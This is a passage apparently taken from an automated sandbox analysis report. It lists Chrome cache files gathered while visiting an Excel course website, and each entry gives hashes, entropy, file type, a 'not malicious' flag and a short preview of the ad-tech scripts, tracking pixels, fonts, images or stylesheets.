Object.prototype.hasOwnProperty.call(n,e)},i.p="",i(i.s=0)}([function(n,e,t){var r,i,t=t(1);try{r="A3dA86xx3SygInSznfsu98uiaY4VmGo/CaJTGvdsIU5xobyXgN1lb1smNdWPEoeyz54s3L60Kdxmc4VJmUrrIgoAAACVey

Chrome Cache Entry: 559

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6482), with no line terminators
Category:	dropped
Size (bytes):	6482
Entropy (8bit):	5.386219794662181
Encrypted:	false
SSDEEP:	192:UaveH+XTFLLgXxQRCJS3ZE1m1j/YMvKTP+pmY2/:UdqTFPKt16EMiY2/
MD5:	A4D296427FC806B21335359E398C025C
SHA1:	46928CCD1407B4E55192BB9D0A07DCFEBD9687B7
SHA-256:	06B99248A163333E36980A6CFB756F1A7DE60FA49517162B87B1A44D5D48F844
SHA-512:	4C0326040E2C7837FA78185CC5A185EA43697DD4F3591757F84BDA76BAC746BADFBE047DAC2C1DC677561FD6CC6C5D5B4BEBB7D671CB82AB04E070DA766FE6AF
Malicious:	false
Reputation:	low
Preview:	var amzn_aps_csm=amzn_aps_csm\|\|{};amzn_aps_csm.errors=[],amzn_aps_csm.reportErrors=function(a){var b,c;for(/^https?:\/\//.test(a)===!1&&(a=document.location.protocol+"//"+a),"/"!==a.substr(a.length-1)&&(a+="/"),b=0;b<amzn_aps_csm.errors.length;b++)c='{"adViewability":[{"error": {"m": "'+amzn_aps_csm.errors[b]+'"}}], "c": "aps_communicator", "api": "RTB", "error": 1}',"https:"===document.location.protocol&&/^http:\/\//.test(a)===!0&&(a=a.replace("http://","https://")),(new Image).src=a+c+"?cb="+Math.round(1e7*Math.random());amzn_aps_csm.errors=[]},function(a){function b(a){return a?a.replace(/^\s+\|\s+$/g,""):a}function c(a){if(a&&a.s){var b,c=a.s.length>0?a.s[0]:"",d=a.s.length>1?a.s[1]:"";c&&(b=c.match(j)),b&&3===b.length\|\|!d\|\|(b=d.match(i)),b&&3===b.length&&(a.f=b[1],a.l=b[2])}}function d(a,d){if(d=d\|\|{},!a)return{};a.m&&a.m.message&&(a=a.m);var i,j,k,l,m,n={m:e(a,d),c:a.c?""+a.c:a.c,s:[],l:a.l\|\|a.line\|\|a.lineno\|\|a.lineNumber,name:a.name,type:a.type},o=0,p=0;if(i=a.stack\|\|(a.err?a.err

Chrome Cache Entry: 560

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 55, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7115
Entropy (8bit):	7.94979057540549
Encrypted:	false
SSDEEP:	192:u34CfAV4Gyp+CBTgceP4fzp6HYGOJYa2eH5EGI:TH4J+J9AfUTuIkK
MD5:	120DC1BEE590102075673573046F05A1
SHA1:	B1EE042D31411BECFC433791A5807714CA20E6DB
SHA-256:	C3DE0F6AA41699E6974346D460AE1458EDF5E00730F7CD43E06F7F6E81949BDD
SHA-512:	191940469E7BF93CA693E3C24D1DC61A5C5A2569F07AB59A69265E652896A882D7784FE7F750B189BB18D6258797B2486AB5719B477E69BAB73564EA521F3469
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......7.............IDATx.....K.......>......[.Nl,..............[..'..\A..,_m....fv.0.Q.B.!....(D!.(D!.(D...@.........K~..i../_.3...w..~..y.....U..].Go......o.5?}.$..s.......M.....~.......s...>\|P.Iyf..K...1.\|......\|.z.S.d....gy..(!..'Wg.^_..Q.......Z............_......hh~..@t7.wv?....O@.z..o.1.z...3.6.W...\.......:...N.....@]>\].X......U...c.}.p..\......s...}...[ .5.../_..0RA..1L...&E...e.o....2.p.^.x.ru..%\p0.<1......m....}#HD..)....FO...\@.s8D$.......{...^.'.(9...I...4.Y.~...9R.,Y".....;...d..2q.D.?~..5K.v.C....c.....B..l..2c..3_..-d.!2y.d...#.M..s.wS.L..+V...j.d.....e.AR.R%I.6...S.%K&9s............U.tC.o....#F..f.-...dm.7./_.+W...K.ro.7o.l.E..:$...?...k.....{.}/\. .6m.!..w...}.v.y.&..~6P..@..<!..R..G.d.....q...q.F.....e.5A..k..u.=A..O.;.oW.^U..........9b./k....fZ.X.$z...>{.......G.8..J.x....A...n..#.g....K...0N..={..<..v..YS.....;vlx3..).....K.<.l.:u....Fk..a..Y.l..2...5jT.S.

Chrome Cache Entry: 561

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	42
Entropy (8bit):	3.9297954712258907
Encrypted:	false
SSDEEP:	3:YWQRAA2neiI:YWQmveiI
MD5:	D31320B41A6A283815FB2F490B9F227F
SHA1:	E21F339A128F97ED4F85AA079661CEC810089DC6
SHA-256:	435B1ECE4A55F4F8D06866B32C1AEE3CC4661EB905265894795F15A57BF1B33D
SHA-512:	F6AEAB24B8BE1A17B061DFBD89EF67E669E9A57B4A39E6051467A4974C854E87DACDBCDAC9F4F129C5EDB3739BBE06D27E0D94528D8C6229FDC3848A43BCB047
Malicious:	false
Reputation:	low
Preview:	{"succeeded":false,"error":"Cookied User"}

Chrome Cache Entry: 562

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=540245193&val=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 563

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.86936392622622
Encrypted:	false
SSDEEP:	3:8WiCLViemo/HHVIoCYKgQnIwBM4DCVeBbxSsfNh:8WiIUemo/H1fCYKbY4DCVebxS+X
MD5:	DC17B2FD3376087660A83874596423FC
SHA1:	0F2D8397E34985E07B7C782183651DF39A2194AC
SHA-256:	9FD5C406FB9C597C488FD286E00E76DA8799B1776440C9CE2FA9EF133D0C9130
SHA-512:	29B14C19B629C1D7737AD06F04CF5FE4E1658AE8B7F4AAF6C04498B3712F3FAE90E56C79589F8FEBD6ABF67BD7E47B46E356153C3B9687B4E66B01E7D75020A4
Malicious:	false
Reputation:	low
Preview:	apstag.punt({"cmp":"https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&gdpr=0&dl=gg_an-db5","cb":"0"})

Chrome Cache Entry: 564

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.5096195010456768
Encrypted:	false
SSDEEP:	3:pQBHMwH4J0UHcYY4X++HUVwH4xUHcYT444:pQmy4J04cD8HMy4x4cV44
MD5:	21C4A5301F7ED4EBA999D33DA5088B74
SHA1:	19C555893ECFA82AA22CDA033F9AA8F1AC29E9AA
SHA-256:	042666EE3284F7864DD0AC0FDE9F2BC2F67ADFC48B1712D9F38B17D200C7BCE7
SHA-512:	3BB820C0E76CA6D669AF117EC46AAD3903ECDCEF8EB469B816D1DE461D43AA988C15254E1FC4E160276355226205F5892DEF02DA4CBC489DBCD76F7E1DA3B6A4
Malicious:	false
Reputation:	low
Preview:	[null,[[["1030006"],["22952122961"]]],[[["1030006",1],["22952122961",1]]]]

Chrome Cache Entry: 565

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15860, version 1.0
Category:	downloaded
Size (bytes):	15860
Entropy (8bit):	7.988022700476719
Encrypted:	false
SSDEEP:	384:S7qmPTF4N21t//YW2FS6+1XxrsbGmjlAbvqMmtCN:S621tHY4xwbGmjloSM7N
MD5:	E9F5AAF547F165386CD313B995DDDD8E
SHA1:	ACDEF5603C2387B0E5BFFD744B679A24A8BC1968
SHA-256:	F5AEBDFEA35D1E7656EF4ACC5DB1F243209755AE3300943EF8FC6280F363C860
SHA-512:	2A71EDB5490F286642A874D52A1969F54282BC43CB24E8D5A297E13B320321FB7B7AF5524EAC609CF5F95EE08D5E4EC5803E2A3C8D13C09F6CC38713C665D0CE
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2
Preview:	wOF2......=...........=..........................d.....^.`.. .H..<........8........6.$.... ..~. ..)..~E......6..J..`.. :.....8.;..5......!.l.j.%SX.SDm...RXh...&.X......5..._...............@...8...Gi..g.;9..'.Q......1..5.U.....w.+.hn..........c.....5.#{..%.#.JP..i.J..U(.6.D5V.<"Ex6"...k..[..{.?.d2....{.........W.......S...hT,.l..'.9.;[@..._.L..\|+...)......S...9F......T..t...-=X.:FtZ..uZ.[.?..f<.....@.....'...I...e..........8.?..-R.3,%X...I2\|.Wk{i...V2C....H$.H.LH.{.........(...6U..%W[t.R....j.........iS..%..L....rf.=..7..9i.I...1.Mj..C..u.B.........vJ.....+.u$.=..3..T..R.._.gs...6).$.-.PUH..Hl....WDd.......fK.(B.F1>..5.._[..]}VA#X...c.....%.(s50...m...^...1...'.$U*H.t...H...s.AZu...'...8.p...@.@.....q..Y.#.....#.....G.....G@..o8. A........:.........S.:..N.S.j.....tav.}.9h..s.....he.......{,~k...,eK.z}.......5%G...l.uCK.....V..............m.....U}.Sz..Z.c.{.....:..g......>h..'\|Z........a....^.b...o.>...g........f../w'....Ja.o(

Chrome Cache Entry: 566

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (13949), with no line terminators
Category:	downloaded
Size (bytes):	14591
Entropy (8bit):	4.609051868555089
Encrypted:	false
SSDEEP:	192:EU4+Kx7ybuiar8mkdhDIDSuVp4b8snNWnzsZqGg14haBe2GajJFVrofj13qFeJHP:8fShlypXzsZqG198tc
MD5:	FBF850256A1B25BCFF0D35240A906BD2
SHA1:	4F37A589066B538191D3C637CEAF35BA4A177776
SHA-256:	293EA56A384F7FD8BCCA2F4206059DE90BB588EDE4A51EF5781BEB012B2A98B1
SHA-512:	9F7AF55E0498C0058A2862E021D19769FC5CBA0702DC77EE42B76BE0091AB4550152CEC1B7F3B21060B4E82A3042CBF49BAD4E78D41F42A5CEE28650F6E3911B
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor/assets/css/tutor-icon.min.css
Preview:	@font-face{font-family:"tutor";src:url("../fonts/tutor.woff") format("woff");font-weight:normal;font-style:normal;font-display:block}@font-face{font-family:"tutor";src:url("../fonts/tutor-v2.woff") format("woff");font-weight:normal;font-style:normal;font-display:block}[class^=tutor-icon-],[class*=" tutor-icon-"]{font-family:"tutor" !important;speak:never;font-style:normal;font-weight:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.tutor-icon-privacy:before{content:"."}.tutor-icon-laptop:before{content:"."}.tutor-icon-desktop:before{content:"."}.tutor-icon-tablet:before{content:"."}.tutor-icon-mobile:before{content:"."}.tutor-icon-map-pin:before{content:"."}.tutor-icon-api:before{content:"."}.tutor-icon-brand-buddypress:before{content:"."}.tutor-icon-brand-google-meet:before{content:"."}.tutor-icon-brand-google-calendar:before{content:"."}.tutor-icon-ban:before{content:"."}.tutor-ico

Chrome Cache Entry: 567

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	274564
Entropy (8bit):	5.050727935371629
Encrypted:	false
SSDEEP:	6144:VixAIZyIYIgJ8SHQWtdc0Dth3vBI5hpX9i:rtdc0Zh3vBI5hpA
MD5:	2E5B5998396E830BEC6F8668EABED278
SHA1:	BF83AF1710A09CFC30E2E75C82B8E93F74A5F9B6
SHA-256:	6AC51DEF4827BAE8B1EF69D64E20DA13156BCFAD487AE9CF8073A4DF11CD98D2
SHA-512:	F0E9F7C2125862DB3CF7FCC236B7BD625C9E4D9FC18C7982792E331B00EA3EDC9A7E26A7BABC97307FB946EFDD09471A4489CB04915122DA86B44E8629A15187
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor/assets/css/tutor.min.css
Preview:	[class*=tutor-screen-] #wpbody-content{box-sizing:border-box}.tutor-container,.tutor-container-fluid,.tutor-container-xxl,.tutor-container-xl,.tutor-container-lg,.tutor-container-md,.tutor-container-sm{width:100%;padding-right:var(--tutor-gutter-x, 0.75rem);padding-left:var(--tutor-gutter-x, 0.75rem);margin-right:auto;margin-left:auto}@media(min-width: 576px){.tutor-container-sm,.tutor-container{max-width:540px}}@media(min-width: 768px){.tutor-container-md,.tutor-container-sm,.tutor-container{max-width:720px}}@media(min-width: 992px){.tutor-container-lg,.tutor-container-md,.tutor-container-sm,.tutor-container{max-width:960px}}@media(min-width: 1200px){.tutor-container-xl,.tutor-container-lg,.tutor-container-md,.tutor-container-sm,.tutor-container{max-width:1140px}}@media(min-width: 1400px){.tutor-container-xxl,.tutor-container-xl,.tutor-container-lg,.tutor-container-md,.tutor-container-sm,.tutor-container{max-width:1320px}}.tutor-row{--tutor-gutter-x: 1.5rem;--tutor-gutter-y: 0;display

Chrome Cache Entry: 568

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.337536763923197
Encrypted:	false
SSDEEP:	3:YXXL9AR3AEii6x2YoFXXqHL9ARxQEz6JGQN2ETAQgGL7:Yny3AEiTxhoFX6HyxpO7N2ETcm7
MD5:	EB115BED50B2627CEE601B94CE663FF7
SHA1:	88AD9DEC7CBB0D9CC3E781E8F1FE46E8BFD3B063
SHA-256:	512AB4BF1F2DDCD8AC5888DC2CF04EE7D0444181827EF1C806698ACBFB346449
SHA-512:	1258A8B98E09702F081F512AB7A3651DC6516B6AE61F341E616A4E7EF40014A53E33BFEC62B092B4EA236642831B288BE94805739C4C6E7DD7F442504D898E9A
Malicious:	false
Reputation:	low
Preview:	{"recsInContentReadMoreLinkText":"Read More","recsInContentTitle":"Recommended","createSaveButtonText":"Save"}

Chrome Cache Entry: 569

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450)
Category:	downloaded
Size (bytes):	226211
Entropy (8bit):	5.379232357747267
Encrypted:	false
SSDEEP:	3072:nhwvwD82w8dix0Dvz6FkvYPUa3FmBRDYi:nhwvwi8ExwrokbaQbDYi
MD5:	82C928EB184B2CE235902634D808A4FC
SHA1:	7297E763CB394CE3889828DB4589AB5DB5735459
SHA-256:	FA8CABE3021C19BA54E07D28A7722CD4BFDEF39DEA07207518113F7E161166BB
SHA-512:	A7DE53B8B22B4942B3A7C26FC1DB2FE5B6438931A5300C2F9834D81D1C5FF0944785666402BDC382EB555F4E2658591D1807C51097064F2E9C5AD083383B4D4E
Malicious:	false
Reputation:	low
URL:	https://script.hotjar.com/modules.429236d560f51d186b8b.js
Preview:	/! For license information please see modules.429236d560f51d186b8b.js.LICENSE.txt /.!function(){var e={4788:function(e,t,n){"use strict";n.d(t,{s:function(){return r}});const r=Object.freeze({IDENTIFY_USER:"identify_user",AUTOTAG_RECORDING:"autotag_recording",TAG_RECORDING:"tag_recording",HEATMAP_HELO:"heatmap_helo",RECORDING_HELO:"recording_helo",REPORT_USER_ID:"report_user_id",MUTATION:"mutation",MOUSE_CLICK:"mouse_click",INPUT_CHOICE_CHANGE:"input_choice_change",KEY_PRESS:"key_press",MOUSE_MOVE:"mouse_move",RELATIVE_MOUSE_MOVE:"relative_mouse_move",CLIPBOARD:"clipboard",PAGE_VISIBILITY:"page_visibility",SCROLL_REACH:"scroll_reach",SCROLL:"scroll",SELECT_CHANGE:"select_change",VIEWPORT_RESIZE:"viewport_resize",SCRIPT_PERFORMANCE:"script_performance",REPORT_CONTENT:"report_content",INSERTED_RULE:"inserted_rule",DELETED_RULE:"deleted_rule"})},6939:function(e,t,n){"use strict";n.d(t,{f:function(){return f},W:function(){return g}});const r=Object.freeze({LIVE:"LIVE",REVIEW_WEBAPP:"REVI

Chrome Cache Entry: 570

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (565), with no line terminators
Category:	downloaded
Size (bytes):	565
Entropy (8bit):	5.013395369899308
Encrypted:	false
SSDEEP:	12:hR2zGkAIrR/+RRa2OXnlEceA9uJ33+SGf6bGEo3G1ONOI:hR26arh+R8xXeclk+h6vo2qOI
MD5:	433CBAC690542626F503B4269A8DA12A
SHA1:	3E810BC4ABACCF42AC5E4B0B939D63C03711BBD9
SHA-256:	F83B1A3EA61AD62E47FAD82DE5495A2547E2F12E591AD8108050538C566AE1E3
SHA-512:	569B3D704F2A979D16624064ABD3B97F38EEA3C9A5F3F09D31C9B83D62C360717F6F66EE44A6B53686760421A57D7EB4ABD54904556B105B05AA81D5850F34B9
Malicious:	false
Reputation:	low
URL:	https://ct.pinterest.com/ct.html
Preview:	<!DOCTYPE html><html lang="en"><head><title>Pinterest ct</title></head><body><div id="root"></div><script>window.addEventListener("message", (event) => {if (event.origin != "https://www.pinterest.com") {return;}try {if (event.data.key == "_epik_localstore") {window.localStorage.setItem(event.data.key, event.data.value);}} catch (error) {}}, false);window.addEventListener("load", (event) => {try {window.parent.postMessage({ key: "_epik_localstore", value: window.localStorage.getItem("_epik_localstore") }, "*")} catch (error) {}}, false);</script></body></html>

Chrome Cache Entry: 571

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 416 x 26
Category:	downloaded
Size (bytes):	15238
Entropy (8bit):	7.949051510520624
Encrypted:	false
SSDEEP:	384:4THgxWfUWshZ7ytfidOv7xrfo1bl2nklWYvYyDjqbRGpUPsTR:4TAxWfUWsL788Ov7x0bl2kxYyDmbRGiy
MD5:	CE2268030DD2151B63CDF4FFC2F626BA
SHA1:	15280F21EB43F5FA7838DCF011F67D79E301B15F
SHA-256:	6A486BB6036EA984D293AB009566E99E522ABC19F8833C5FD49630BE7EBA0135
SHA-512:	6164DAEF98D93DC1878BD776934C013F7E750CF7EF45959C17F12C0251C89FB0BCA26FFE0D2C1DEFECC8881105A42CCA0E61459A2A57639E75F26458301C67DC
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/thickbox/loadingAnimation.gif
Preview:	GIF89a.......................................................................................................!..NETSCAPE2.0.....!.......,.............DRi.h..l.p,.tm.x..\|...... ...r.l:.P'.@.0....(E .X\zl.X.i.......f..Zu.n...Yrt\|n~.Yz..d..........`w.........^...x..oE..%.............U.....~.................s..e..............s...............jF.....)........l...?...J4..a..'&.h1 D..%r...#..#.0$.0#J.#I.\|y0&.4).dY..I.6;.....L.;y.......P.J...L..X.f.3.kT.`.h.{...U!.%k..T. .jm..jZ.s..}../V.u..-.w/T.b..v+Xqa..7X\|.._.^-..\|...=.....Q.Z....[.c.^.....e.].....w...t.....}\.p..77..8.......{....?W..{....g..D....o`.#......^A}G...~..G.p..H`......}.1................v.`..\.!.....)rx.%.(!...........`..%:...D.X.A.....E..ciJ.4d.;.)V.LR..@.!..:Z.d.Y..%.S.)&.`.x&.ij.&.m..#.m.y_.:.%..).X..@....@.m......#.2......F..x..R..R.Z.j..j.)..........`.....+l..`a..........,..........F{....,..j.-..^.....,...Kl...Z...J./..K..../...K.......{.....\|K/......X 0

Chrome Cache Entry: 572

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	311
Entropy (8bit):	5.957604406271127
Encrypted:	false
SSDEEP:	6:YVgFGToT0RjoUAX3MOf6VVI6qT8hjgzOpwLMBWOGloB31otqEfn:YKF0H5jKSI6qT8yzO+LMPkAGn
MD5:	8DC6513B32619049856F64A1619F5711
SHA1:	53FE877519BF031FA0C2C7F1E23E113BE15C99D4
SHA-256:	7D5A4EB7784A9164971FDAF16508ECE35779B409334FBAAD7C2F52E74296223E
SHA-512:	C23AD8374C383053D61519A48DD394A9DA5DF3154DFC3EE5917D4332E6EDFD5DABA4DF1177AA75FC0580128C73E26D0E96769E5FE3411454D703A3572417FCC7
Malicious:	false
Reputation:	low
URL:	https://imp-dev.mediavine.com/impkey?&bidder=&cpm=0.23&adId=&sk=V1:0R/ET7+G5x4qSLaC:haN7jirAFTarMS1LdVlRdx86+BFMm7c/3ozKAnDvDfBpzXNcrDtN4SQrR3792X5PYXOv7tiEjaJjVA==
Preview:	{"hb":"V1:EhbLKnWgUZIl6tee:+q7GNrPjKXmJ1I36HQlLDqPDW5NL8FXV63Jh/UjFOvfJHMYLUFk5s27YSQR9UzPS","adx":"V1:4/fSWZFXqBXYSvUR:U/LmeCnzTBRQf9tuodoMWn2DQYErZxdmIUh+6E9PtDRhh5vox0O0pIBelS9nwSu6GyQMvkFEGwv4SCVfAC6GLqvIsipB","unf":"V1:TZSRXnkOCpPAzSoT:hUG3HfjIw4fFmVBezFyAhVor9c9KzwT932FnfaGYykzvKskgpetMWEg8Xg8JwVJZwg=="}

Chrome Cache Entry: 573

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1273)
Category:	downloaded
Size (bytes):	1472
Entropy (8bit):	5.571411380329629
Encrypted:	false
SSDEEP:	24:2e2C6hHfhiVIq9uNoMgGiRrVwX2RSEY3V+tEIfiWfwpaHCAKzN9QjQOoGwBJSBf:2e2C6lIVuNoMB027HkfiPAcnEklBJSBf
MD5:	8522BC812AF8A209E02D5A869C4B8CB7
SHA1:	7744DAFCDD498733E2A724EF2DA22F3E53C4FABB
SHA-256:	C34FEB0649FEF271D41DDFCE7196E4E4CE55C9D63A4C6D06744E4EF7501642BB
SHA-512:	5DBAB0DA70FCBEBF1D1CD2488936EB955929DD1ED15D9688C54459E8E034CFA9BCE1B9CAEDD6862628AEEAC50043EABE3B2F53C2CCC6FD30DC0AFB9CA7399968
Malicious:	false
Reputation:	low
URL:	https://u.openx.net/w/1.0/cm?cc=1&id=7e872606-a65a-463e-adc2-6ddfd0bdaeea&ph=0fd68730-06b2-46ad-be0b-befc4c4f19d2&r=https://exchange.mediavine.com/usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=
Preview:	<html>.<head><title>Pixels</title></head>.<body>.<script>if("browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics"))document.browsingTopics()</script>..<img src="https://exchange.mediavine.com/usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=ce1d1685-fcc3-0bce-20aa-55465b454e74"><img src="https://ups.analytics.yahoo.com/ups/58294/sync?_origin=1&uid=2e900569-927a-06eb-1392-726f7eb2d7a0"><img src="https://us-u.openx.net/w/1.0/cm?id=e508c905-ddce-4732-92a4-0b0f5b72a28f&r=https%3A%2F%2Fid.rlcdn.com%2F464246.gif%3Fpartner_uid%3D%7BOPENX_ID%7D"><img src="https://ib.adnxs.com/getuid?https://us-u.openx.net/w/1.0/sd?id=537072399&val=$UID"><img src="https://ad.turn.com/r/cs?pid=9&gdpr=0"><img src="https://sync-tm.everesttech.net/upi/pid/ny75r2x0?redir=https%3A%2F%2Fus-u.openx.net%2Fw%2F1.0%2Fsd%3Fid%3D537148856%26val%3D%24%7BTM_USER_ID%7D"><img src="https://pr-bh.ybp.yahoo.com/sync/openx/9493e0a4-dabc-aeeb-7162

Chrome Cache Entry: 574

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 575

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 960x300, components 3
Category:	downloaded
Size (bytes):	23439
Entropy (8bit):	7.693461111396152
Encrypted:	false
SSDEEP:	384:HWhf2+j5JlJxDXoUAX0DrxNjSM+3gI1mvJKOtJaAeQEVtv6voWhH:q2+jXlJN4Ue0/xQMcf16xLeQOtvyocH
MD5:	F6EE0201B837A4EBAB391056AF38FE4C
SHA1:	00A2DD37A8EA372E77398A8C3530427BAB4E72C9
SHA-256:	2DB2DA2179D2D87F92472E1AEB7EE6AA18B8E221AA0CBE2C5482710FF33C8ECD
SHA-512:	F8A966B12D444C15391D2FFB4A20E810DCC501D2DBBC65024FBB4B7AF221E10F758A0152035B17BB90ED1EBB4E289028F7834B601BDF27834E82C42A0B98C404
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/simgad/8552888571247897129/6592766407814317453
Preview:	......JFIF......................................................................................................................................................,...."........................................Q..........................!1..A."Qaq2R..#BS....3Tbr....$Cc....45s..%t.&6Duv....................................:.......................!..1AQaq.."R...2B......#b...$rs.............?.....p.................lL.......G.^....t.f..3.%....G...D..............(Y....Q...i}......(......................................................<..........K.y..2.l..G....9.P..S)e.,.YH!.2H`.A$..J.@...E .....".....!.R@........$...(......... ............................S..et.jp.6{......H..q.!b......SH..A.BN/......m\......[3@..Mn.i.......................................................S.?..#+.-.$.^..C.].qK..6..M...\Y#.R)...@.&P.....l...l..C....Y......%...2H`..(...............@......d...@........K ..........U\...S...c..ro.I..h.1..N.....EJ....7..j.iY....J[l.h.'&..V.<M....r..#.e...Jr..y.t.9.u

Chrome Cache Entry: 576

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 194 x 49, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4801
Entropy (8bit):	7.930185796636572
Encrypted:	false
SSDEEP:	96:jDrgxwm2ORDlleiuySZ0154qBt02mtAl56LVjsT3Q1Ax8IN+rwt92e188aS:jDrswkr6y20154eZmAAeQ2xDOQ1PD
MD5:	26C22A5F4BCCCAA7FBC4B47795FFF659
SHA1:	AB638F655E30387C70F976BCFA25B7C091EC7AE2
SHA-256:	489597C5CA8033A70B347D767AF47488EEDFFD2505A521E86B47DC263ED26B12
SHA-512:	9FCE76E9CD239D62952DE67C83231FC1370020CD04F586DFBC1341D8BD191904F0DF9EEE3EF97394260A260E1C191F7C72A631DD73AF2E2F72850BA6FD768950
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......1.......v.....IDATx..ZYHV[.6....h .("... ..z..K4..A....."........(.".>8...".....[...............s...^......1==......XXX"X"XX"X"XX"X"XX"X"X."&''A.......SSS ................MX"X.1....W..m.6x{{.y]]..GV...a..%....5.........].v.......C......-.,.<P........2TVV...B...c...}.6jkk......s.$..A...............a...8p./^....q...xyy.<rE.K......~.....o8..<W.!....q..5.........>f.%...GKK.233.$X.\|.8..7n.k___..........v.Q.D...`.(22..>\|....p.B\|....w...k.b..\|...?~..R.<x.5550`.`1...btt..:...i.....Y......qqq.i.D....A..W.-[........8.........c........S...5....W{_...`_....+c...SB....-[...y.f....CY..>}....:..g.`....[j..0......F...Fs.hkk...{...)...+W.`...bB566:.'D..id1.P.7......Rdee....EEEhnn...g..:...`hh.J.OOOI.-Y...N...........g ...a...$.%....Z[..k.......ddd..........n.f?....f..S...S"F.o.pipp..ER_]]...q.+.....yN"....Gbb"......g.\|....<@`` ...I..8.8.%B..........GI...(..Y~...3...JR-55U.oMMM(..FUU..s..f.`.>..WS.E.......[jl:..../^.Z[L.....aaaB.g.

Chrome Cache Entry: 577

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (5496), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	336040
Entropy (8bit):	5.214698581688597
Encrypted:	false
SSDEEP:	3072:GI3G5uru2hJq+C/cJS1n6V7Zl2xBvB254DP+H/7Zl2xBvBrJXXTGQRLukZ31dvei:GvaCP+rTC
MD5:	746B554734B79DC6E1ED9347884B6E48
SHA1:	907BED8966EC0B3D7F0728A4A940429604A7ECD9
SHA-256:	B6B5A7945354AFEF54082B6AC9F15F94F1BF0A626776CDFA9D991482ED4898AC
SHA-512:	8BB841D9796C2433ADE69D087D7FE6375AC66A6081EA7E347EF3442EBF65B0B8654367837BC418E7821C23026D9F6717FFF1DFB3A9DCFF13995361B524F09640
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/courses/excel-vba/
